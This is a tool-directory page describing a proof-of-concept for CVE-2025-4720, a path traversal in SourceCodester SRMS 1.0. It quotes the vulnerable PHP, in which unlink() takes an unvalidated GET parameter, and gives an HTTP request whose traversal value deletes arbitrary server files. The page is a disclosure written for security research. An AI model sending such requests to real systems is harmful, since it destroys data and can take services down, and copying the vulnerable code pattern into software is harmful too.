Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
duplicate-CVE-2025-4720- — Proof-of-concept exploit for CVE-2025-4720, a path traversal vulnerability in SourceCodester SRMS 1.0 allowing arbitrary file deletion via the drop_student.php endpoint. | Kitploit
Tools/GitHubGitHub/xmyronn/duplicate-cve-2025-4720-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubxmyronn/duplicate-cve-2025-4720-

duplicate-CVE-2025-4720-

Proof-of-concept exploit for CVE-2025-4720, a path traversal vulnerability in SourceCodester SRMS 1.0 allowing arbitrary file deletion via the drop_student.php endpoint.

View Repository
465 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

cve-srms-drop-student-path-traversal (CVE-2025-4720)(dupe)

Arbitrary File Deletion in SourceCodester SRMS 1.0

Description

A path traversal vulnerability exists in the drop_student.php endpoint of SourceCodester Student Result Management System (SRMS) 1.0.

The application takes user-controlled input from the img GET parameter and directly passes it to the unlink() function without validation, allowing deletion of arbitrary files on the server.


Vulnerable Code

root@kitploit:~
$img = $_GET['img'];

if ($img == "DEFAULT") {

} else {
    unlink('images/students/' . $img);
}

Vulnerability Type

  • CWE-22: Path Traversal
  • Impact: Arbitrary File Deletion

Proof of Concept (PoC)

  1. Create a file in the application root: Screenshot 2026-04-04 013454
root@kitploit:~
C:\xampp\htdocs\srms_0\srms\new_test.txt
  1. Send the following request: Screenshot 2026-04-04 013510
Screenshot 2026-04-04 013633
root@kitploit:~
GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target
  1. Observe that the file is deleted from the server. Screenshot 2026-04-04 013650

Impact

An attacker can delete arbitrary files accessible to the web server, including:

  • Application configuration files
  • Logs
  • Uploaded content

This may lead to denial of service or further exploitation.


Additional Notes

This vulnerability represents a distinct attack vector compared to previously reported issues in SRMS, as it:

  • Uses a GET request
  • Does not require file upload
  • Can potentially be exploited via CSRF

Vendor

SourceCodester


Product

Student Result Management System (SRMS) https://www.sourcecodester.com/srms-makumbusho


Version

1.0


Author

Imad Alvi

Download Tool